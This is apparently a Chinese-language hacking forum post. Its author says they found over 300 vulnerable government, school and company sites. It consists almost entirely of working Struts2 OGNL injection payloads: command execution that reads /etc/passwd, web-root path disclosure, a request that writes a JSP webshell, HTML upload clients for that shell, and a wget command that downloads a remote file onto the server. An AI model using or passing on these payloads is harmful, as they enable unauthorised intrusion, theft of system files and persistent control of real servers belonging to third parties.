自己随便扫了一下，三百多，全是高权限，大部分是政府、学校、企业网站
带回显命令执行：
http://www.hacker-noelle.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
爆路径：
http://www.hacker-noelle.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
写文件：
http://www.hacker-noelle.com/struts2-blank/example/X.action?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
写入的文件内容：
< %if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
其实就是一个jsp的小马，需要客户端配合
函数f是文件名，t是内容
客户端：
<form action="http://www.hacker-noelle.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post"> <textarea name=t cols=120 rows=10 width=45>your code</textarea><br /><center><br /> <input type=submit value="提交"/> </center></form>
就在当前目录建立一个fjp.jsp
shell：http://www.hacker-noelle.com/struts2-blank/example/fjp.jsp
还有@园长的一个客户端：
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<title>jsp-园长</title>
</head>
<style>
.main{width:980px;height:600px;margin:0 auto;}
.url{width:300px;}
.fn{width:60px;}
.content{width:80%;height:60%;}
</style>
<script>
function upload(){
var url = document.getElementById('url').value,
content = document.getElementById('content').value,
fileName = document.getElementById('fn').value,
form = document.getElementById('fm');
if(url.length == 0){
alert("Url not allowd empty!");
return ;
}
if(content.length == 0){
alert("Content not allowd empty!");
return ;
}
if(fileName.length == 0){
alert("FileName not allowd empty!");
return ;
}
form.action = url;
form.submit();
}
</script>
<body>
<div>
<form id="fm" method="post">
URL:<input type="text" value="http://webshell.cc/Struts2/css3.jsp" id="url"/>
FileName:<input type="text" name="f" value="css.jsp" id="fn" />
<a href="javascript:upload();">Upload</a><br />
<textarea id="content" name="t" ></textarea>
</form>
</div>
</body>
</html>
还有@X发的一个wget的getshell
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.hacker-noelle.com/xx.txt','- O','/root/1.jsp'} )).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}